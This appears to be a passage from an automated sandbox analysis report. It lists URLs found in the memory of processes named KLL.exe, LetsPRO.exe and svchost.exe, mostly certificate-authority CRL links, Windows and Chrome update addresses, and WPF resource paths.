            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://crl.certum.pl/ctnca.crl0k
            Source: KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
            Source: LetsPRO.exe, 00000037.00000002.4190738127.000000003053E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190738127.000000003053E000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4176957334.0000000005ECB000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
            Source: svchost.exe, 0000000C.00000002.3330330927.000001E0C8800000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA2
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190738127.000000003053E000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4176957334.0000000005ECB000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://cscasha2.ocsp-certum.com04
            Source: LetsPRO.exe, 00000037.00000002.4148107824.000000000143F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
            Source: LetsPRO.exe, 00000037.00000002.4176252532.0000000005E6F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabR
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xamld
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86DD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8721000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/AppMenuDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/AppMenuDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/ButtonDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/ButtonDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/RadioButtonDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/RadioButtonDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/ScrollViewDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/ScrollViewDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/TabControllerDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/TabControllerDictionary.xamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/TextBoxDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/TextBoxDictionary.xamld
            Source: LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/TextBoxDictionary.xamlp
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/WindowDictionary.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/Themes/WindowDictionary.xamld
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/app.xaml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/app.xamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/app.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/app.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/appmenudictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/appmenudictionary.bamld
            Source: LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/appmenudictionary.bamlp
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/buttondictionary.baml
